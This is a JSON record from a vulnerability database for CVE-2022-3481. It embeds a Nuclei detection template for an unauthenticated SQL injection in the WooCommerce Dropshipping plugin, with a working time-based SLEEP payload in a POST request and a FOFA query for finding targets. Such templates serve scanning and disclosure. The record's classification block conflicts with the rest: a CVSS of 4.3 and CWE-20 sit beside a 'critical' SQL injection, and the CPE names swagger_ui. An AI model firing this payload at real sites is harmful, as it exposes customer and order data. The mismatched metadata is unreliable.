{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2022-3481/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2022-3481/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2022-3481/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2022-3481/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2022-3481/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2022-3481"},"sightings":{"href":"/api/v1/sightings/cve-2022-3481"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2022/CVE-2022-3481.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2022-3481\n\ninfo:\n  name: NotificationX Dropshipping < 4.4 - SQL Injection\n  author: ritikchaddha\n  severity: critical\n  description: |\n    The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via a REST endpoint available to unauthenticated users, leading to a SQL injection\n  impact: |\n    Unauthenticated attackers can exploit time-based SQL injection through the REST endpoint to extract sensitive WooCommerce data including customer information, order details, and payment records.\n  remediation: |\n    Update NotificationX Dropshipping plugin to version 4.4 or later that properly sanitizes and escapes parameters in REST endpoints.\n  reference:\n    - https://wpscan.com/vulnerability/c5e395f8-257e-49eb-afbd-9c1e26045373\n    - https://nvd.nist.gov/vuln/detail/CVE-2022-3481\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N\n    cvss-score: 4.3\n    cve-id: CVE-2022-3481\n    cwe-id: CWE-20\n    epss-score: 0.03947\n    epss-percentile: 0.90009\n    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    verified: true\n    fofa-query: body=\"/wp-content/plugins/woocommerce-dropshipping\"\n  tags: cve,cve2022,wordpress,wp-plugin,wp,sqli,woocommerce,notificationx,vkev,vuln\n\nhttp:\n  - raw:\n      - |\n        @timeout: 30s\n        POST /wp-json/woo-aliexpress/v1/product-sku HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"sku\":\"a\\\" AND (SELECT 42 FROM (SELECT(SLEEP(7)))wlHd)-- pOeU\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration>=7'\n          - 'status_code == 200'\n          - 'contains(content_type, \"application/json\")'\n          - 'contains_all(body, \"code\\\":\", \"message\\\":\\\"Product\", \"status\\\":400\")'\n        condition: and\n# digest: 490a0046304402204a9892e5ed26d050e6549fdcd40a27bdefe41b43061f46602c423bc0612b16f10220555a637f9d930747fd950fe3cb62d6d5808bb3888bbcc87d856b0f1182c49423:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2022-3481"}